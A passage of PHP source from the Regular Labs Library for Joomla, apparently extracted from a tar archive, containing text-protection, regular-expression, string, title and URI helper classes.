return [self::$sourcerer_tag, self::$sourcerer_characters];
}
$parameters =
Parameters::getInstance()->getPluginParams('sourcerer');
self::$sourcerer_tag = isset($parameters->syntax_word) ?
$parameters->syntax_word : '';
self::$sourcerer_characters = isset($parameters->tag_characters) ?
$parameters->tag_characters : '{.}';
return [self::$sourcerer_tag, self::$sourcerer_characters];
}
/**
* Protect all Sourcerer blocks
*
* @param string $string
*/
public static function protectSourcerer(&$string)
{
list($tag, $characters) = self::getSourcererTag();
if (empty($tag))
{
return;
}
list($start, $end) = explode('.', $characters);
if (strpos($string, $start . '/' . $tag . $end) === false)
{
return;
}
$regex = RegEx::quote($start . $tag)
. '[\s\}].*?'
. RegEx::quote($start . '/' . $tag . $end);
RegEx::matchAll($regex, $string, $matches, null, PREG_PATTERN_ORDER);
if (empty($matches))
{
return;
}
$matches = array_unique($matches[0]);
foreach ($matches as $match)
{
$string = str_replace($match, self::protectString($match), $string);
}
}
/**
* Protect complete AdminForm
*
* @param string $string
* @param array $tags
* @param bool $include_closing_tags
*/
public static function protectForm(&$string, $tags = [],
$include_closing_tags = true, $form_classes = [])
{
if ( ! Document::isEditPage())
{
return;
}
list($tags, $protected_tags) = self::prepareTags($tags,
$include_closing_tags);
$string = RegEx::replace(self::getFormRegex($form_classes), '<!--
TMP_START_EDITOR -->\1', $string);
$string = explode('<!-- TMP_START_EDITOR -->', $string);
foreach ($string as $i => &$string_part)
{
if (empty($string_part) || ! fmod($i, 2))
{
continue;
}
self::protectFormPart($string_part, $tags, $protected_tags);
}
$string = implode('', $string);
}
/**
* Protect part of the AdminForm
*
* @param string $string
* @param array $tags
* @param array $protected_tags
*/
private static function protectFormPart(&$string, $tags = [],
$protected_tags = [])
{
if (strpos($string, '</form>') === false)
{
return;
}
// Protect entire form
if (empty($tags))
{
$form_parts = explode('</form>', $string, 2);
$form_parts[0] = self::protectString($form_parts[0] .
'</form>');
$string = implode('', $form_parts);
return;
}
$regex_tags = RegEx::quote($tags);
if ( ! RegEx::match($regex_tags, $string))
{
return;
}
$form_parts = explode('</form>', $string, 2);
// protect tags only inside form fields
RegEx::matchAll(
'(?:<textarea[^>]*>.*?<\/textarea>|<input[^>]*>)',
$form_parts[0],
$matches,
null,
PREG_PATTERN_ORDER
);
if (empty($matches))
{
return;
}
$matches = array_unique($matches[0]);
foreach ($matches as $match)
{
$field = str_replace($tags, $protected_tags, $match);
$form_parts[0] = str_replace($match, $field, $form_parts[0]);
}
$string = implode('</form>', $form_parts);
}
/**
* Replace any protected text to original
*
* @param string|array $string
*/
public static function unprotect(&$string)
{
if (is_array($string))
{
foreach ($string as &$part)
{
self::unprotect($part);
}
return;
}
self::unprotectByDelimiters(
$string,
[self::$protect_tags_start, self::$protect_tags_end]
);
self::unprotectByDelimiters(
$string,
[self::$protect_start, self::$protect_end]
);
if (StringHelper::contains($string, [self::$protect_tags_start,
self::$protect_tags_end, self::$protect_start, self::$protect_end]))
{
self::unprotect($string);
}
}
/**
* @param string $string
* @param array $delimiters
*/
private static function unprotectByDelimiters(&$string, $delimiters)
{
if ( ! StringHelper::contains($string, $delimiters))
{
return;
}
$regex = RegEx::preparePattern(RegEx::quote($delimiters), 's',
$string);
$parts = preg_split($regex, $string);
foreach ($parts as $i => &$part)
{
if ($i % 2 == 0)
{
continue;
}
$part = base64_decode($part);
}
$string = implode('', $parts);
}
/**
* Replace any protected text to original
*
* @param string $string
*/
public static function convertProtectionToHtmlSafe(&$string)
{
$string = str_replace(
[
self::$protect_start,
self::$protect_end,
self::$protect_tags_start,
self::$protect_tags_end,
],
[
self::$html_safe_start,
self::$html_safe_end,
self::$html_safe_tags_start,
self::$html_safe_tags_end,
],
$string
);
}
/**
* Replace any protected text to original
*
* @param string $string
*/
public static function unprotectHtmlSafe(&$string)
{
$string = str_replace(
[
self::$html_safe_start,
self::$html_safe_end,
self::$html_safe_tags_start,
self::$html_safe_tags_end,
],
[
self::$protect_start,
self::$protect_end,
self::$protect_tags_start,
self::$protect_tags_end,
],
$string
);
self::unprotect($string);
}
/**
* Prepare the tags and protected tags array
*
* @param array $tags
* @param bool $include_closing_tags
*
* @return bool|mixed
*/
private static function prepareTags($tags, $include_closing_tags = true)
{
if ( ! is_array($tags))
{
$tags = [$tags];
}
$cache_id = 'prepareTags_' . json_encode($tags) . '_'
. $include_closing_tags;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
foreach ($tags as $i => $tag)
{
if (StringHelper::is_alphanumeric($tag[0]))
{
$tag = '{' . $tag;
}
$tags[$i] = $tag;
if ($include_closing_tags)
{
$tags[] = RegEx::replace('^([^a-z0-9]+)', '\1/',
$tag);
}
}
return Cache::set(
$cache_id,
[$tags, self::protectArray($tags, 1)]
);
}
/**
* Encode string
*
* @param string $string
* @param int $is_tag
*
* @return string
*/
public static function protectString($string, $is_tag = false)
{
if ($is_tag)
{
return self::$protect_tags_start . base64_encode($string) .
self::$protect_tags_end;
}
return self::$protect_start . base64_encode($string) .
self::$protect_end;
}
/**
* Decode string
*
* @param string $string
* @param int $is_tag
*
* @return string
*/
public static function unprotectString($string, $is_tag = false)
{
if ($is_tag)
{
return self::$protect_tags_start . base64_decode($string) .
self::$protect_tags_end;
}
return self::$protect_start . base64_decode($string) .
self::$protect_end;
}
/**
* Encode tag string
*
* @param string $string
*
* @return string
*/
public static function protectTag($string)
{
return self::protectString($string, 1);
}
/**
* Encode array of strings
*
* @param array $array
* @param int $is_tag
*
* @return mixed
*/
public static function protectArray($array, $is_tag = false)
{
foreach ($array as &$string)
{
$string = self::protectString($string, $is_tag);
}
return $array;
}
/**
* Decode array of strings
*
* @param array $array
* @param int $is_tag
*
* @return mixed
*/
public static function unprotectArray($array, $is_tag = false)
{
foreach ($array as &$string)
{
$string = self::unprotectString($string, $is_tag);
}
return $array;
}
/**
* Replace any protected tags to original
*
* @param string $string
* @param array $tags
*/
public static function unprotectForm(&$string, $tags = [])
{
// Protect entire form
if (empty($tags))
{
self::unprotect($string);
return;
}
self::unprotectTags($string, $tags);
}
/**
* Wrap string in comment tags
*
* @param string $name
* @param string $comment
*
* @return string
*/
public static function wrapInCommentTags($name, $string)
{
list($start, $end) = self::getCommentTags($name);
return $start . $string . $end;
}
/**
* Get the html comment tags
*
* @param string $name
*
* @return array
*/
public static function getCommentTags($name = '')
{
return [self::getCommentStartTag($name), self::getCommentEndTag($name)];
}
/**
* Get the html start comment tags
*
* @param string $name
*
* @return string
*/
public static function getCommentStartTag($name = '')
{
return '<!-- START: ' . $name . ' -->';
}
/**
* Get the html end comment tags
*
* @param string $name
*
* @return string
*/
public static function getCommentEndTag($name = '')
{
return '<!-- END: ' . $name . ' -->';
}
/**
* Create a html comment from given comment string
*
* @param string $name
* @param string $comment
*
* @return string
*/
public static function getMessageCommentTag($name, $comment)
{
list($start, $end) = self::getMessageCommentTags($name);
return $start . $comment . $end;
}
/**
* Get the start and end parts for the html message comment tag
*
* @param string $name
*
* @return array
*/
public static function getMessageCommentTags($name = '')
{
return ['<!-- ' . $name . ' Message: ', '
-->'];
}
/**
* Get the start and end parts for the inline comment tags for
scripts/styles
*
* @param string $name
* @param string $type
*
* @return array
*/
public static function getInlineCommentTags($name = '', $type =
'', $regex = false)
{
if ($regex)
{
$type = 'TYPE_PLACEHOLDER';
}
$start = '/* START: ' . $name . ' ' . $type . '
*/';
$end = '/* END: ' . $name . ' ' . $type . '
*/';
if ($regex)
{
$start = str_replace($type, '[a-z]*', RegEx::quote($start));
$end = str_replace($type, '[a-z]*', RegEx::quote($end));
}
return [$start, $end];
}
/**
* Wraps a style or javascript declaration with comment tags
*
* @param string $content
* @param string $name
* @param string $type
* @param bool $minify
*/
public static function wrapDeclaration($content = '', $name =
'', $type = 'styles', $minify = true)
{
if (empty($name))
{
return $content;
}
list($start, $end) = self::getInlineCommentTags($name, $type);
$spacer = $minify ? ' ' : "\n";
return $start . $spacer . $content . $spacer . $end;
}
/**
* Wraps a javascript declaration with comment tags
*
* @param string $content
* @param string $name
* @param bool $minify
*/
public static function wrapScriptDeclaration($content = '',
$name = '', $minify = true)
{
return self::wrapDeclaration($content, $name, 'scripts',
$minify);
}
/**
* Wraps a stylesheet declaration with comment tags
*
* @param string $content
* @param string $name
* @param bool $minify
*/
public static function wrapStyleDeclaration($content = '', $name
= '', $minify = true)
{
return self::wrapDeclaration($content, $name, 'styles',
$minify);
}
/**
* Remove area comments in html
*
* @param string $string
* @param string $prefix
*/
public static function removeAreaTags(&$string, $prefix =
'')
{
$string = RegEx::replace('<!-- (START|END): ' . $prefix .
'_[A-Z]+ -->', '', $string, 's');
}
/**
* Remove comments in html
*
* @param string $string
* @param string $name
*/
public static function removeCommentTags(&$string, $name =
'')
{
list($start, $end) = self::getCommentTags($name);
$string = str_replace(
[
$start, $end,
htmlentities($start), htmlentities($end),
urlencode($start), urlencode($end),
], '', $string
);
list($start, $end) = self::getMessageCommentTags($name);
$string = RegEx::replace(
RegEx::quote($start) . '.*?' . RegEx::quote($end),
'',
$string
);
}
/**
* Remove inline comments in scrips and styles
*
* @param string $string
* @param string $name
*/
public static function removeInlineComments(&$string, $name)
{
list($start, $end) = Protect::getInlineCommentTags($name, null, true);
$string = RegEx::replace('(' . $start . '|' . $end .
')', "\n", $string);
}
/**
* Remove left over plugin tags
*
* @param string $string
* @param array $tags
* @param string $character_start
* @param string $character_end
* @param bool $keep_content
*/
public static function removePluginTags(&$string, $tags,
$character_start = '{', $character_end = '}',
$keep_content = true)
{
$regex_character_start = RegEx::quote($character_start);
$regex_character_end = RegEx::quote($character_end);
foreach ($tags as $tag)
{
if ( ! is_array($tag))
{
$tag = [$tag, $tag];
}
if (count($tag) < 2)
{
$tag = [$tag[0], $tag[0]];
}
if ( ! StringHelper::contains($string, $character_start . '/'
. $tag[1] . $character_end))
{
continue;
}
$regex = $regex_character_start . RegEx::quote($tag[0]) .
'(?:\s.*?)?' . $regex_character_end
. '(.*?)'
. $regex_character_start . '/' . RegEx::quote($tag[1]) .
$regex_character_end;
$replace = $keep_content ? '\1' : '';
$string = RegEx::replace($regex, $replace, $string);
}
}
/**
* Remove tags from title tags
*
* @param string $string
* @param array $tags
* @param bool $include_closing_tags
* @param array $html_tags
*/
public static function removeFromHtmlTagContent(&$string, $tags,
$include_closing_tags = true, $html_tags = ['title'])
{
list($tags, $protected) = self::prepareTags($tags,
$include_closing_tags);
if ( ! is_array($html_tags))
{
$html_tags = [$html_tags];
}
RegEx::matchAll('(<(' . implode('|', $html_tags) .
')(?:\s[^>]*?)>)(.*?)(</\2>)', $string, $matches);
if (empty($matches))
{
return;
}
foreach ($matches as $match)
{
$content = $match[3];
foreach ($tags as $tag)
{
$content = RegEx::replace(RegEx::quote($tag) . '.*?\}',
'', $content);
}
$string = str_replace($match[0], $match[1] . $content . $match[4],
$string);
}
}
/**
* Remove tags from tag attributes
*
* @param string $string
* @param array $tags
* @param string $attributes
* @param bool $include_closing_tags
*/
public static function removeFromHtmlTagAttributes(&$string, $tags,
$attributes = 'ALL', $include_closing_tags = true)
{
list($tags, $protected) = self::prepareTags($tags,
$include_closing_tags);
if ($attributes == 'ALL')
{
$attributes = ['[a-z][a-z0-9-_]*'];
}
if ( ! is_array($attributes))
{
$attributes = [$attributes];
}
RegEx::matchAll(
'\s(?:' . implode('|', $attributes) .
')\s*=\s*".*?"',
$string,
$matches,
null,
PREG_PATTERN_ORDER
);
if (empty($matches) || empty($matches[0]))
{
return;
}
$matches = array_unique($matches[0]);
// preg_quote all tags
$tags_regex = RegEx::quote($tags) . '.*?\}';
foreach ($matches as $match)
{
if ( ! StringHelper::contains($match, $tags))
{
continue;
}
$title = $match;
$title = RegEx::replace($tags_regex, '', $title);
$string = StringHelper::replaceOnce($match, $title, $string);
}
}
/**
* Check if article passes security levels
*
* @param object $article
* @param array $securtiy_levels
*
* @return bool|int
*/
public static function articlePassesSecurity(&$article,
$securtiy_levels = [])
{
if ( ! isset($article->created_by))
{
return true;
}
if (empty($securtiy_levels))
{
return true;
}
if (is_string($securtiy_levels))
{
$securtiy_levels = [$securtiy_levels];
}
if (
! is_array($securtiy_levels)
|| in_array('-1', $securtiy_levels)
)
{
return true;
}
// Lookup group level of creator
$user_groups = new JAccess;
$user_groups = $user_groups->getGroupsByUser($article->created_by);
// Return true if any of the security levels are found in the users
groups
return count(array_intersect($user_groups, $securtiy_levels));
}
/**
* Replace in protect array
*
* @param array $array
* @param string $search
* @param string $replacement
*/
public static function replaceInArray(&$array, $search, $replacement)
{
foreach ($array as $key => &$string)
{
// only do something if string is not empty
// or on uneven count = not yet protected
if (trim($string) == '' || fmod($key, 2))
{
continue;
}
$array[$key] = str_replace($search, $replacement, $string);
}
}
/**
* Replace in protect array using Regular Expressions
*
* @param array $array
* @param string $search
* @param string $replacement
*/
public static function pregReplaceInArray(&$array, $search,
$replacement)
{
foreach ($array as $key => &$string)
{
// only do something if string is not empty
// or on uneven count = not yet protected
if (trim($string) == '' || fmod($key, 2))
{
continue;
}
$array[$key] = RegEx::replace($search, $replacement, $string);
}
}
}
src/RegEx.php000064400000012670151167425550007077 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class RegEx
* @package RegularLabs\Library
*/
class RegEx
{
/**
* Perform a regular expression search and replace
*
* @param string $pattern
* @param string $replacement
* @param string $string
* @param string $options
* @param int $limit
* @param int $count
*
* @return string
*/
public static function replace($pattern, $replacement, $string, $options =
null, $limit = -1, &$count = null)
{
if ( ! is_string($pattern) || $pattern == '' || !
is_string($string) || $string == '')
{
return $string;
}
$pattern = self::preparePattern($pattern, $options, $string);
return preg_replace($pattern, $replacement, $string, $limit, $count);
}
/**
* Perform a regular expression search and replace once
*
* @param string $pattern
* @param string $replacement
* @param string $string
* @param string $options
*
* @return string
*/
public static function replaceOnce($pattern, $replacement, $string,
$options = null)
{
return self::replace($pattern, $replacement, $string, $options, 1);
}
/**
* Perform a regular expression match
*
* @param string $pattern
* @param string $string
* @param null $matches
* @param string $options
* @param int $flags
*
* @return int
*/
public static function match($pattern, $string, &$matches = null,
$options = null, $flags = 0)
{
if ( ! is_string($pattern) || $pattern == '' || !
is_string($string) || $string == '')
{
return false;
}
$pattern = self::preparePattern($pattern, $options, $string);
return preg_match($pattern, $string, $matches, $flags);
}
/**
* Perform a global regular expression match
*
* @param string $pattern
* @param string $string
* @param null $matches
* @param string $options
* @param int $flags
*
* @return int
*/
public static function matchAll($pattern, $string, &$matches = null,
$options = null, $flags = PREG_SET_ORDER)
{
if ( ! is_string($pattern) || $pattern == '' || !
is_string($string) || $string == '')
{
$matches = [];
return false;
}
$pattern = self::preparePattern($pattern, $options, $string);
return preg_match_all($pattern, $string, $matches, $flags);
}
/**
* preg_quote the given string or array of strings
*
* @param string|array $data
* @param string $name
* @param string $delimiter
*
* @return string
*/
public static function quote($data, $name = '', $delimiter =
'#', $capture = true)
{
if (is_array($data))
{
$array = self::quoteArray($data, $delimiter);
$prefix = '?!';
if ($capture)
{
$prefix = $name ? '?<' . $name . '>' :
'';
}
return '(' . $prefix . implode('|', $array) .
')';
}
if ( ! empty($name))
{
return '(?<' . $name . '>' . preg_quote($data,
$delimiter) . ')';
}
return preg_quote($data, $delimiter);
}
/**
* reverse preg_quote the given string
*
* @param string $string
* @param string $delimiter
*
* @return string
*/
public static function unquote($string, $delimiter = '#')
{
return strtr($string, [
'\\' . $delimiter => $delimiter,
'\\.' => '.',
'\\\\' => '\\',
'\\+' => '+',
'\\*' => '*',
'\\?' => '?',
'\\[' => '[',
'\\^' => '^',
'\\]' => ']',
'\\$' => '$',
'\\(' => '(',
'\\)' => ')',
'\\{' => '{',
'\\}' => '}',
'\\=' => '=',
'\\!' => '!',
'\\<' => '<',
'\\>' => '>',
'\\|' => '|',
'\\:' => ':',
'\\-' => '-',
]);
}
/**
* preg_quote the given array of strings
*
* @param array $array
* @param string $delimiter
*
* @return array
*/
public static function quoteArray($array = [], $delimiter = '#')
{
array_walk($array, function (&$part, $key, $delimiter) {
$part = self::quote($part, '', $delimiter);
}, $delimiter);
return $array;
}
/**
* Make a string a valid regular expression pattern
*
* @param string $pattern
* @param string $options
* @param string $string
*
* @return string
*/
public static function preparePattern($pattern, $options = null, $string =
'')
{
if (is_array($pattern))
{
return self::preparePatternArray($pattern, $options, $string);
}
if (substr($pattern, 0, 1) != '#')
{
$pattern = '#' . $pattern . '#';
}
$options = ! is_null($options) ? $options : 'si';
if (substr($pattern, -1, 1) == '#')
{
$pattern .= $options;
}
if (StringHelper::detectUTF8($string))
{
// use utf-8
return $pattern . 'u';
}
return $pattern;
}
/**
* Make an array of strings valid regular expression patterns
*
* @param array $pattern
* @param string $options
* @param string $string
*
* @return array
*/
private static function preparePatternArray($pattern, $options = null,
$string = '')
{
array_walk($pattern, function (&$subpattern, $key, $string) {
$subpattern = self::preparePattern($subpattern, $options = null,
$string);
}, $string);
return $pattern;
}
}
src/ShowOn.php000064400000002501151167425550007272 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
use Joomla\CMS\Form\FormHelper as JFormHelper;
use RegularLabs\Library\Document as RL_Document;
defined('_JEXEC') or die;
/**
* Class ShowOn
* @package RegularLabs\Library
*/
class ShowOn
{
public static function open($condition = '', $formControl =
'', $group = '', $class = '')
{
if ( ! $condition)
{
return self::close();
}
RL_Document::loadFormDependencies();
$json = json_encode(JFormHelper::parseShowOnConditions($condition,
$formControl, $group));
$class = $class ? ' class="' . $class . '"'
: '';
return '<div data-showon=\'' . $json . '\'
style="display: none;"' . $class . '>';
}
public static function close()
{
return '</div>';
}
public static function show($string = '', $condition =
'', $formControl = '', $group = '', $animate
= true, $class = '')
{
if ( ! $condition || ! $string)
{
return $string;
}
return self::open($condition, $formControl, $group, $animate, $class)
. $string
. self::close();
}
}
src/StringHelper.php000064400000014441151167425550010471 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\String\Normalise;
use Normalizer;
/**
* Class StringHelper
* @package RegularLabs\Library
*/
class StringHelper
extends \Joomla\String\StringHelper
{
/**
* Decode html entities in string or array of strings
*
* @param string $data
* @param int $quote_style
* @param string $encoding
*
* @return array|string
*/
public static function html_entity_decoder($data, $quote_style =
ENT_QUOTES, $encoding = 'UTF-8')
{
if (is_array($data))
{
array_walk($data, function (&$part, $key, $quote_style, $encoding) {
$part = self::html_entity_decoder($part, $quote_style, $encoding);
}, $quote_style, $encoding);
return $data;
}
if ( ! is_string($data))
{
return $data;
}
return html_entity_decode($data, $quote_style | ENT_HTML5, $encoding);
}
/**
* Replace the given replace string once in the main string
*
* @param string $search
* @param string $replace
* @param string $string
*
* @return string
*/
public static function replaceOnce($search, $replace, $string)
{
if (empty($search) || empty($string))
{
return $string;
}
$pos = strpos($string, $search);
if ($pos === false)
{
return $string;
}
return substr_replace($string, $replace, $pos, strlen($search));
}
/**
* Check if any of the needles are found in any of the haystacks
*
* @param $haystacks
* @param $needles
*
* @return bool
*/
public static function contains($haystacks, $needles)
{
$haystacks = (array) $haystacks;
$needles = (array) $needles;
foreach ($haystacks as $haystack)
{
foreach ($needles as $needle)
{
if (strpos($haystack, $needle) !== false)
{
return true;
}
}
}
return false;
}
/**
* Check if string is alphanumerical
*
* @param string $string
*
* @return bool
*/
public static function is_alphanumeric($string)
{
if (function_exists('ctype_alnum'))
{
return (bool) ctype_alnum($string);
}
return (bool) RegEx::match('^[a-z0-9]+$', $string);
}
/**
* Check if string is a valid key / alias (alphanumeric with optional _ or
- chars)
*
* @param string $string
*
* @return bool
*/
public static function is_key($string)
{
return RegEx::match('^[a-z][a-z0-9-_]*$', trim($string));
}
/**
* Split a long string into parts (array)
*
* @param string $string
* @param array $delimiters Array of strings to split the string on
* @param int $max_length Maximum length of each part
* @param bool $maximize_parts If true, the different parts will be made
as large as possible (combining consecutive short string elements)
*
* @return array
*/
public static function split($string, $delimiters = [], $max_length =
10000, $maximize_parts = true)
{
// String is too short to split
if (strlen($string) < $max_length)
{
return [$string];
}
// No delimiters given or found
if (empty($delimiters) || ! self::contains($string, $delimiters))
{
return [$string];
}
// preg_quote all delimiters
$array = preg_split('#' . RegEx::quote($delimiters) .
'#s', $string, null, PREG_SPLIT_DELIM_CAPTURE |
PREG_SPLIT_NO_EMPTY);
if ( ! $maximize_parts)
{
return $array;
}
$new_array = [];
foreach ($array as $part)
{
// First element, add to new array
if ( ! count($new_array))
{
$new_array[] = $part;
continue;
}
$last_part = end($new_array);
$last_key = key($new_array);
// If last and current parts are longer than max_length, then simply add
as new value
if (strlen($last_part) + strlen($part) > $max_length)
{
$new_array[] = $part;
continue;
}
// Concatenate part to previous part
$new_array[$last_key] .= $part;
}
return $new_array;
}
/**
* Check whether string is a UTF-8 encoded string
*
* @param string $string
*
* @return bool
*/
public static function detectUTF8($string = '')
{
// Try to check the string via the mb_check_encoding function
if (function_exists('mb_check_encoding'))
{
return mb_check_encoding($string, 'UTF-8');
}
// Otherwise: Try to check the string via the iconv function
if (function_exists('iconv'))
{
$converted = iconv('UTF-8', 'UTF-8//IGNORE',
$string);
return (md5($converted) == md5($string));
}
// As last fallback, check if the preg_match finds anything using the
unicode flag
return preg_match('#.#u', $string);
}
/**
* Converts a string to a UTF-8 encoded string
*
* @param string $string
*
* @return string
*/
public static function convertToUtf8($string = '')
{
if (self::detectUTF8($string))
{
// Already UTF-8, so skip
return $string;
}
if ( ! function_exists('iconv'))
{
// Still need to find a stable fallback
return $string;
}
$utf8_string = @iconv('UTF8', 'UTF-8//IGNORE',
$string);
if (empty($utf8_string))
{
return $string;
}
return $utf8_string;
}
/**
* Converts a camelcased string to a underscore separated string
* eg: FooBar => foo_bar
*
* @param string $string
* @param bool $tolowercase
*
* @return string
*/
public static function camelToUnderscore($string = '',
$tolowercase = true)
{
$string =
Normalise::toUnderscoreSeparated(Normalise::fromCamelCase($string));
if ( ! $tolowercase)
{
return $string;
}
return strtolower($string);
}
/**
* Removes html tags from string
*
* @param string $string
* @param bool $remove_comments
*
* @return string
*/
public static function removeHtml($string, $remove_comments = false)
{
return Html::removeHtmlTags($string, $remove_comments);
}
/**
* Normalizes the input provided and returns the normalized string
*
* @param string $string
*
* @return string
*/
public static function normalize($string, $tolowercase = false)
{
// Normalizer-class missing!
if (class_exists('Normalizer', $autoload = false))
{
$string = Normalizer::normalize($string);
}
if ( ! $tolowercase)
{
return $string;
}
return strtolower($string);
}
}
src/Title.php000064400000004670151167425550007147 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class Title
* @package RegularLabs\Library
*/
class Title
{
/**
* Cleans the string to make it usable as a title
*
* @param string $string
* @param bool $strip_tags
* @param bool $strip_spaces
*
* @return string
*/
public static function clean($string = '', $strip_tags = false,
$strip_spaces = true)
{
if (empty($string))
{
return '';
}
// remove comment tags
$string = RegEx::replace('<\!--.*?-->', '',
$string);
// replace weird whitespace
$string = str_replace(chr(194) . chr(160), ' ', $string);
if ($strip_tags)
{
// remove svgs
$string = RegEx::replace('<svg.*?</svg>',
'', $string);
// remove html tags
$string = RegEx::replace('</?[a-z][^>]*>',
'', $string);
// remove comments tags
$string = RegEx::replace('<\!--.*?-->', '',
$string);
}
if ($strip_spaces)
{
// Replace html spaces
$string = str_replace([' ', ' '],
' ', $string);
// Remove duplicate whitespace
$string = RegEx::replace('[ \n\r\t]+', ' ',
$string);
}
return trim($string);
}
/**
* Creates an array of different syntaxes of titles to match against a url
variable
*
* @param array $titles
*
* @return array
*/
public static function getUrlMatches($titles = [])
{
$matches = [];
foreach ($titles as $title)
{
$matches[] = $title;
$matches[] = StringHelper::strtolower($title);
}
$matches = array_unique($matches);
foreach ($matches as $title)
{
$matches[] =
htmlspecialchars(StringHelper::html_entity_decoder($title));
}
$matches = array_unique($matches);
foreach ($matches as $title)
{
$matches[] = urlencode($title);
$matches[] = utf8_decode($title);
$matches[] = str_replace(' ', '', $title);
$matches[] = trim(RegEx::replace('[^a-z0-9]', '',
$title));
$matches[] = trim(RegEx::replace('[^a-z]', '',
$title));
}
$matches = array_unique($matches);
foreach ($matches as $i => $title)
{
$matches[$i] = trim(str_replace('?', '', $title));
}
$matches = array_diff(array_unique($matches), ['',
'-']);
return $matches;
}
}
src/Uri.php000064400000011717151167425550006625 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Router\Route as JRoute;
use Joomla\CMS\Uri\Uri as JUri;
/**
* Class Uri
* @package RegularLabs\Library
*/
class Uri
{
/**
* Returns the full uri and optionally adds/replaces the hash
*
* @param string $hash
*
* @return string
*/
public static function get($hash = '')
{
$url = JUri::getInstance()->toString();
if ($hash == '')
{
return $url;
}
return self::appendHash($url, $hash);
}
/**
* adds the given url parameter (key + value) to the url or replaces it
already exists
*
* @param string $url
* @param string $key
* @param string $value
* @param bool $replace
*
* @return string
*/
public static function addParameter($url, $key, $value = '',
$replace = true)
{
if (empty($key))
{
return $url;
}
$uri = parse_url($url);
$query = isset($uri['query']) ?
self::parse_query($uri['query']) : [];
if ( ! $replace && isset($query[$key]))
{
return $url;
}
$query[$key] = $value;
$uri['query'] = http_build_query($query);
return self::createUrlFromArray($uri);
}
/**
* removes the given url parameter from the url
*
* @param string $url
* @param string $key
*
* @return string
*/
public static function removeParameter($url, $key)
{
if (empty($key))
{
return $url;
}
$uri = parse_url($url);
if ( ! isset($uri['query']))
{
return $url;
}
$query = self::parse_query($uri['query']);
unset($query[$key]);
$uri['query'] = http_build_query($query);
return self::createUrlFromArray($uri);
}
/**
* Converts an array of url parts (like made by parse_url) to a string
*
* @param array $uri
*
* @return string
*/
public static function createUrlFromArray($uri)
{
$user = ! empty($uri['user']) ? $uri['user'] :
'';
$pass = ! empty($uri['pass']) ? ':' .
$uri['pass'] : '';
return (! empty($uri['scheme']) ? $uri['scheme'] .
'://' : '')
. (($user || $pass) ? $user . $pass . '@' : '')
. (! empty($uri['host']) ? $uri['host'] :
'')
. (! empty($uri['port']) ? ':' .
$uri['port'] : '')
. (! empty($uri['path']) ? $uri['path'] :
'')
. (! empty($uri['query']) ? '?' .
$uri['query'] : '')
. (! empty($uri['fragment']) ? '#' .
$uri['fragment'] : '');
}
/**
* Appends the given hash to the url or replaces it if there is already
one
*
* @param string $url
* @param string $hash
*
* @return string
*/
public static function appendHash($url = '', $hash =
'')
{
if (empty($hash))
{
return $url;
}
$uri = parse_url($url);
$uri['fragment'] = $hash;
return self::createUrlFromArray($uri);
}
public static function isExternal($url)
{
if (strpos($url, '://') === false)
{
return false;
}
// hostname: give preference to SERVER_NAME, because this includes
subdomains
$hostname = ($_SERVER['SERVER_NAME']) ?
$_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'];
return ! (strpos(RegEx::replace('^.*?://', '', $url),
$hostname) === 0);
}
public static function route($url)
{
return JRoute::_(JUri::root(true) . '/' . $url);
}
public static function encode($string)
{
return urlencode(base64_encode(gzdeflate($string)));
}
public static function decode($string)
{
return gzinflate(base64_decode(urldecode($string)));
}
public static function createCompressedAttributes($string)
{
$parameters = [];
$compressed = base64_encode(gzdeflate($string));
$chunk_length = ceil(strlen($compressed) / 10);
$chunks = str_split($compressed, $chunk_length);
foreach ($chunks as $i => $chunk)
{
$parameters[] = 'rlatt_' . $i . '=' .
urlencode($chunk);
}
return implode('&', $parameters);
}
public static function getCompressedAttributes()
{
$input = JFactory::getApplication()->input;
$compressed = '';
for ($i = 0; $i < 10; $i++)
{
$compressed .= $input->getString('rlatt_' . $i,
'');
}
return gzinflate(base64_decode($compressed));
}
/**
* Parse a query string into an associative array.
*
* @param string $string
*
* @return array
*/
private static function parse_query($string)
{
$result = [];
if ($string === '')
{
return $result;
}
$decoder = function ($value) {
return rawurldecode(str_replace('+', ' ', $value));
};
foreach (explode('&', $string) as $kvp)
{
$parts = explode('=', $kvp, 2);
$key = $decoder($parts[0]);
$value = isset($parts[1]) ? $decoder($parts[1]) : null;
if ( ! isset($result[$key]))
{
$result[$key] = $value;
continue;
}
if ( ! is_array($result[$key]))
{
$result[$key] = [$result[$key]];
}
$result[$key][] = $value;
}
return $result;
}
}
src/Version.php000064400000017724151167425550007517 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
